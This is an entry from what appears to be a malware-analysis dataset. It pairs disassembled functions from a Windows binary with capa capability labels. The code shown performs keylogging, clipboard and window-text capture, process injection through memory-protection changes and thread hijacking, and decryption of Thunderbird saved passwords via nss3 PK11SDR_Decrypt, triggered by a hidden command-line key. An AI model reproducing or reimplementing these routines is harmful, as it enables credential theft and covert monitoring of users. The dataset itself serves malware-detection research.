joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e633
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x1c
mov edx, ebx
xor eax, eax
mov dword [ebp + 8], 8
call fcn.10011b4e
lea ecx, [ebp - 4]
not eax
push ecx
push eax
mov eax, dword [0x1002b2a0]
call fcn.1001d683
test eax, eax
jne 0x1001e668
xor edi, edi
jmp 0x1001e66b
mov edi, dword [ebp - 4]
test edi, edi
je 0x1001e7cc
mov eax, dword [edi + 0x4a18]
push esi
mov dword [ebp - 8], eax
test eax, eax
jne 0x1001e72e
push dword [ebx]
push eax
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001e6b1
push 0x104
lea eax, [edi + 0x10]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1002b2a4], 0
mov dword [edi + 0x4a1c], 1
je 0x1001e712
push 0x5c
push 0
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
test eax, eax
je 0x1001e712
inc eax
inc eax
push 0x2e
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
test esi, esi
je 0x1001e6ef
xor eax, eax
mov word [esi], ax
push dword [ebp - 4]
push dword [0x1002b2a4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x1001e708
and dword [edi + 0x4a1c], eax
test esi, esi
je 0x1001e712
push 0x2e
pop eax
mov word [esi], ax
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x400
lea eax, [edi + 0x218]
push eax
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
mov dword [edi + 0x4a18], 1
cmp dword [edi + 0x4a1c], edx
je 0x1001e7b5
movzx ecx, word [ebx + 0x20]
cmp cx, dx
je 0x1001e775
mov eax, dword [edi + 8]
cmp eax, 0x2000
jae 0x1001e775
cmp cx, 8
jne 0x1001e765
cmp eax, edx
je 0x1001e770
dec eax
mov dword [edi + 8], eax
jmp 0x1001e770
mov word [edi + eax*2 + 0xa18], cx
inc dword [edi + 8]
mov dword [ebp + 8], edx
jmp 0x1001e77c
mov dword [ebp + 8], 0x6f
cmp dword [ebx + 0x22], edx
je 0x1001e7b5
push 0x14
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x1001e7b5
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebx + 0x22]
mov dword [esi + 0x10], eax
and dword [ebx + 0x22], 0
lea eax, [edi + 0x4a20]
mov ecx, dword [eax + 4]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov dword [ecx], esi
mov dword [eax + 4], esi
cmp dword [ebp - 8], 0
pop esi
je 0x1001e7cc
push 0
push dword [0x1002b2a0]
lea eax, [edi - 0x1c]
call fcn.1001d76f
mov eax, dword [ebp + 8]
pop edi
pop ebx
leave
ret 4
Function at 0x1001ea5b
Capabilities:
Get graphical window text

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x88
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp + 0x64], ebx
mov dword [ebp + 0x68], ebx
mov esi, 0x80
mov eax, dword [ebx + 0x1002a4bc]
cmp eax, dword [ebp + 0x74]
jne 0x1001eabd
cmp dword [ebx + 0x1002a4c0], 0
je 0x1001eacd
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, eax
test edi, edi
jle 0x1001eacd
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push edi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10011b4e
not eax
cmp eax, dword [ebx + 0x1002a4c0]
je 0x1001eacd
inc dword [ebp + 0x68]
add ebx, 0x14
cmp ebx, 0x3c
jb 0x1001ea76
jmp 0x1001eb92
mov edi, dword [ebp + 0x68]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
imul edi, edi, 0x14
cmp dword [edi + 0x1002a4c8], 0
je 0x1001eb14
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call ebx
mov dword [ebp + 0x78], eax
test eax, eax
jle 0x1001eb14
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10011b4e
not eax
cmp eax, dword [edi + 0x1002a4c8]
jne 0x1001eb92
cmp dword [edi + 0x1002a4c4], 0
je 0x1001eb53
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov dword [ebp + 0x78], eax
test eax, eax
jle 0x1001eb53
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10011b4e
not eax
cmp eax, dword [edi + 0x1002a4c4]
jne 0x1001eb92
cmp dword [edi + 0x1002a4cc], 0
je 0x1001eb8b
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call ebx
mov esi, eax
test esi, esi
jle 0x1001eb8b
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push esi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10011b4e
not eax
cmp eax, dword [edi + 0x1002a4cc]
jne 0x1001eb92
mov dword [ebp + 0x64], 1
mov eax, dword [ebp + 0x64]
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret 0xc
Function at 0x1001ebdb
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edx, edx
push 8
xor eax, eax
mov dword [ebp - 0x30], edx
pop ecx
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov esi, 0x100
mov dword [ebp + 8], edx
stosw word es:[edi], ax
cmp dword [ebp + 0xc], esi
jne 0x1001ed13
push 0x26
push edx
lea eax, [ebp - 0x30]
push eax
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x130]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0x18
push 3
push ebx
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
jne 0x1001ec39
mov eax, ebx
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x1c]
push eax
push ebx
push dword [ebp + 0x20]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], eax
call fcn.1001ea5b
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x1001ed13
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0xa0
mov edi, eax
call esi
push 0xa1
shr eax, 8
mov byte [ebp - 0x90], al
call esi
push 0x10
shr eax, 8
mov byte [ebp - 0x8f], al
call esi
push edi
xor edi, edi
push edi
push 3
shr eax, 8
mov byte [ebp - 0x120], al
xor eax, eax
mov word [ebp - 8], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ed0c
cmp esi, edi
je 0x1001ecf2
jle 0x1001ed0c
mov ax, word [ebp + edi*2 - 8]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x30]
push eax
call fcn.1001e633
inc edi
cmp edi, esi
jl 0x1001ecd9
jmp 0x1001ed0c
mov ecx, dword [ebp + 0x10]
call fcn.1001eb9f
mov word [ebp - 0x10], ax
cmp ax, di
je 0x1001ed0c
lea eax, [ebp - 0x30]
push eax
call fcn.1001e633
mov dword [ebp + 8], 1
cmp dword [ebp - 0xe], 0
pop edi
pop esi
pop ebx
je 0x1001ed24
push dword [ebp - 0xe]
call fcn.100012ff
mov eax, dword [ebp + 8]
leave
ret 0x1c
Function at 0x1001ed2b
Capabilities:
Create thread

Disassembly:
push 0x1001e550
push 0x1001e538
push 0x4a28
push 0x1002b2a0
call fcn.1001d59e
test eax, eax
jne 0x1001edf8
mov ecx, dword [0x1002b2a0]
or dword [ecx + 0x24], 3
test eax, eax
jne 0x1001edf8
push esi
push edi
mov esi, 0x1002b2e0
mov dword [0x1002b2e0], 0x1001f207
mov dword [0x1002b2ec], 0x1001f239
call fcn.1001f4ee
mov esi, 0x1002b2ac
mov dword [0x1002b2b0], 0x1001f01e
mov dword [0x1002b2bc], 0x1001f044
mov dword [0x1002b2b4], 0x1001ef9e
call fcn.1001f4ee
xor edi, edi
mov dword [0x1002b300], 0x1001f7a5
mov dword [0x1002b30c], 0x1001f7f5
mov dword [0x1002b304], 0x1001f810
inc edi
mov dword [0x1002b310], edi
mov esi, 0x1002b2fc
call fcn.1001f4ee
mov dword [0x1002b2d0], 0x1001f063
mov esi, 0x1002b2c8
mov dword [0x1002b2dc], edi
call fcn.1001f4ee
pop edi
pop esi
jmp 0x1001f58b
ret
push esi
xor esi, esi
mov dword [0x1002b324], esi
cmp dword [0x1002b370], esi
je 0x1001f5e1
cmp dword [0x1002b318], esi
jne 0x1001f5e1
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1002b318], eax
cmp eax, esi
je 0x1001f5d9
push 0x1002b31c
push esi
push 0x1002b318
push 0x1001f3b9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1002b320], eax
cmp eax, esi
jne 0x1001f5e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret

Function at 0x1001eec7
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x30], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
push 1
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x1001ef9b
push esi
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov esi, eax
test esi, esi
je 0x1001ef9a
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1001ef9a
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 8], eax
test eax, eax
je 0x1001ef94
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x1001ef8a
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x26
mov edi, eax
lea eax, [ebp - 0x30]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 4]
push 3
push esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
call dword [sym.imp.USER32.dll_GetAncestor]
mov dword [ebp - 0x20], eax
lea eax, [edi + edi + 2]
push eax
call fcn.100012ea
mov dword [ebp - 0xe], eax
test eax, eax
je 0x1001ef81
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x30]
push eax
call fcn.1001e633
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop edi
leave
ret
Function at 0x1001f864
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x1001f8b7
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10010970
test eax, eax
je 0x1001f8a6
cmp dword [ebp - 8], 4
jne 0x1001f8a6
inc ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x1001ff6c
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4e8
push ebx
push esi
xor eax, eax
push 0x4c8
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x30]
push eax
or ebx, 0xffffffff
mov dword [esp + 0x28], 0xccccfeeb
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.1000ff8a
mov esi, eax
lea eax, [esp + 8]
push eax
push dword [edi]
mov dword [esp + 0x58], 0x100003
call fcn.1001fde5
test eax, eax
jl 0x100200c1
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi]
call fcn.1000fd4d
test eax, eax
je 0x100200c1
cmp dword [esp + 0x10], 4
jne 0x100200c1
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.1001fcf8
test eax, eax
je 0x100200c1
lea eax, [esp + 0x20]
cdq
mov ebx, 0xbb8
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x1002b220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10020042
push 0x64
pop ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [esp + 0x14]
mov eax, dword [edi + 4]
push dword [esp + 0x14]
cdq
push edx
push eax
push 0
push 2
push dword [esi + 4]
sub ebx, 0x64
push dword [esi]
call fcn.10023a80
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x138]
add esp, 0x20
test ebx, ebx
jle 0x1002008b
cmp eax, dword [esp + 8]
jne 0x10020021
cmp ecx, dword [esp + 0xc]
jne 0x10020021
cmp eax, dword [esp + 8]
jne 0x10020097
cmp ecx, dword [esp + 0xc]
je 0x1002009e
mov ebx, 0x261
jmp 0x100200ad
mov esi, dword [ebp + 8]
push 0
push 0
push edi
call fcn.1001faee
mov ebx, eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.1001fcf8
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100200cb
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
push ebx
push esi
push edi
xor esi, esi
push 0x2c8
mov edi, eax
lea eax, [esp + 0x30]
push esi
push eax
mov dword [esp + 0x34], esi
call sub.ntdll.dll_memset
mov ebx, dword [edi]
add esp, 0xc
push esi
mov eax, ebx
mov dword [esp + 0x28], 0xccccfeeb
mov dword [esp + 0x1c], esi
call fcn.1000fb81
test eax, eax
je 0x100201e2
mov dword [esp + 0x18], 0x10
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x28], 0x10007
mov dword [esp + 0x10], eax
cmp eax, esi
jne 0x10020139
push dword [edi]
call fcn.1001f8bf
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
push ebx
call fcn.1001092f
test eax, eax
je 0x1002021f
cmp dword [esp + 0x1c], 4
jne 0x1002021f
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x14]
push ebx
call fcn.1001f864
test eax, eax
je 0x1002021f
mov dword [esp + 0x14], 0xbb8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x1002b220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x100201a7
mov dword [esp + 0x14], 0x64
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub dword [esp + 0x14], 0x64
lea eax, [esp + 0x28]
push eax
push dword [edi + 4]
call fcn.1001090e
cmp dword [esp + 0x14], esi
mov eax, dword [esp + 0xe0]
jle 0x100201d5
cmp eax, dword [esp + 0x10]
jne 0x10020181
cmp eax, dword [esp + 0x10]
je 0x100201fb
mov esi, 0x261
jmp 0x1002020b
test byte [0x1002b214], 1
je 0x1002011b
push dword [ebp + 8]
call fcn.1001ff6c
mov esi, eax
jmp 0x1002021a
push esi
push dword [esp + 0x1c]
mov esi, dword [ebp + 8]
push edi
call fcn.1001faee
mov esi, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
push ebx
call fcn.1001f864
cmp esi, 0xffffffff
jne 0x10020227
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test byte [ebp + 0xc], 4
jne 0x10020236
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100208c2
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x40
xor ecx, ecx
push ecx
push 2
xor eax, eax
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
leave
ret 0xc
Function at 0x10020bb1
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push 0x14
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x10020c2c
push ebx
push edi
push 0x1002d8ab
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10020c22
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002d8b3
push ebx
call edi
mov dword [esi], eax
test eax, eax
je 0x10020c22
push 0x1002d8ba
push ebx
call edi
mov dword [esi + 4], eax
test eax, eax
je 0x10020c22
push 0x1002d8c2
push ebx
call edi
mov dword [esi + 8], eax
test eax, eax
je 0x10020c22
push 0x1002d326
push ebx
call edi
mov dword [esi + 0xc], eax
test eax, eax
je 0x10020c22
push 0x1002d8c9
push ebx
call edi
mov dword [esi + 0x10], eax
test eax, eax
jne 0x10020c2a
push esi
call fcn.100012ff
xor esi, esi
pop edi
pop ebx
mov eax, esi
pop esi
ret

Function at 0x100212b8
Capabilities:
Link many functions at runtime
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20410
call sub.ntdll.dll__chkstk
push ebx
xor ebx, ebx
xor eax, eax
cmp dword [ebp + 8], ebx
je 0x100213f1
push esi
push edi
push 0xfffc
mov word [ebp - 0x10208], ax
lea eax, [ebp - 0x10206]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x7fff
lea eax, [ebp - 0x10208]
push eax
mov edi, 0x100274b4
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x10208]
push eax
lea eax, [ebp - 0x20410]
push str._ws__ws
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20410]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push str.nss3.dll
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push str._ws_ws
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, ebx
je 0x100213b8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.NSS_Shutdown
push edi
mov dword [0x1002b418], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x1002b420], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x1002b40c], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x1002b414], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x1002b41c], eax
call esi
mov dword [0x1002b410], eax
pop edi
pop esi
cmp dword [0x1002b418], ebx
je 0x100213ef
cmp dword [0x1002b420], ebx
je 0x100213ef
cmp dword [0x1002b40c], ebx
je 0x100213ef
cmp dword [0x1002b41c], ebx
je 0x100213ef
cmp dword [0x1002b410], ebx
je 0x100213ef
cmp dword [0x1002b414], ebx
je 0x100213ef
xor eax, eax
inc eax
jmp 0x100213f1
xor eax, eax
pop ebx
leave
ret 4
Function at 0x100213f6
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call sub.ntdll.dll__chkstk
push ebx
push esi
mov eax, 0x1fa0
push eax
mov dword [ebp - 4], eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
mov esi, 0x100253ef
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push dword [ebp + 8]
call sub.ntdll.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x100214db
push edi
call dword [0x1002b40c]
mov edi, eax
cmp edi, ebx
je 0x100214d5
push ebx
push 1
push edi
call dword [0x1002b41c]
add esp, 0xc
test eax, eax
jne 0x100214c6
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [0x1002b410]
add esp, 0xc
test eax, eax
jne 0x100214bf
push dword [ebp - 8]
lea eax, [ebp - 0x1fbc]
push dword [ebp - 0xc]
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 8]
add esp, 0xc
mov byte [ebp + eax - 0x1fbc], bl
lea esi, [ebp - 0x1fbc]
jmp 0x100214cb
mov esi, str.Error_on_decryption_
jmp 0x100214cb
mov esi, str.Error_on_authenticate_
push edi
call dword [0x1002b414]
pop ecx
jmp 0x100214da
mov esi, str.Get_Internal_Slot_error_
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x10021781
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x884
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
mov edi, 0x104
push edi
lea eax, [esp + 0x68c]
push eax
push str._PROGRAMFILES_
mov dword [esp + 0x1c], 2
call esi
lea eax, [esp + 0x688]
push str.Mozilla_Thunderbird
push eax
call sub.ntdll.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 0x688]
push eax
call fcn.100212b8
test eax, eax
je 0x100218ce
push edi
lea eax, [esp + 0x484]
push eax
push str._USERPROFILE_
call esi
lea eax, [esp + 0x480]
push str.AppDataRoamingThunderbirdProfiles
push eax
call sub.ntdll.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
test byte [esp + 0x28], 0x10
je 0x100218ba
mov esi, str..default
lea edi, [esp + 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x14]
push eax
movsw word es:[edi], word [esi]
call sub.ntdll.dll_wcslen
pop ecx
mov esi, eax
push esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x5c]
push eax
call sub.ntdll.dll_wcslen
sub eax, esi
pop ecx
lea eax, [esp + eax*2 + 0x5c]
push eax
call sub.ntdll.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x100218ba
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x27c]
push eax
call sub.ntdll.dll_wcscpy
lea eax, [esp + 0x280]
push eax
call sub.ntdll.dll_wcslen
xor ecx, ecx
mov word [esp + eax*2 + 0x282], cx
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x288]
push eax
call sub.ntdll.dll_wcscat
add esp, 0x14
push dword [ebp + 8]
lea eax, [esp + 0x27c]
push eax
call fcn.100214e3
test eax, eax
je 0x100218ba
and dword [esp + 0x10], 0
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10021815
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100218db
Capabilities:
Accept command line arguments
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x14], 3
mov edi, eax
jne 0x10021a0b
push str.CBmWzIJQqV
push dword [edi + 4]
call sub.ntdll.dll_wcscmp
pop ecx
pop ecx
test eax, eax
jne 0x10021a0b
lea eax, [esp + 0x18]
push eax
call fcn.10010d17
test eax, eax
je 0x10021a04
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x100219f1
push dword [esp + 0xc]
call fcn.10021781
test eax, eax
jne 0x100219e7
push esi
push 0x80
push 2
push esi
push 3
push 0xc0000000
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100219e7
mov eax, dword [esp + 0xc]
call fcn.100014a4
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x100219d9
push eax
call fcn.100012ea
mov edi, eax
cmp edi, esi
je 0x100219d9
mov eax, dword [esp + 0xc]
mov edx, dword [eax]
push esi
push esi
push esi
xor ecx, ecx
push ecx
push eax
mov dword [esp + 0x38], esi
call dword [edx + 0x14]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push dword [esp + 0x14]
push edi
push eax
call dword [ecx + 0xc]
push esi
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.100012ff
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [esp + 0x18], esi
je 0x100219fe
cmp dword [esp + 0x18], 1
jne 0x10021a04
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret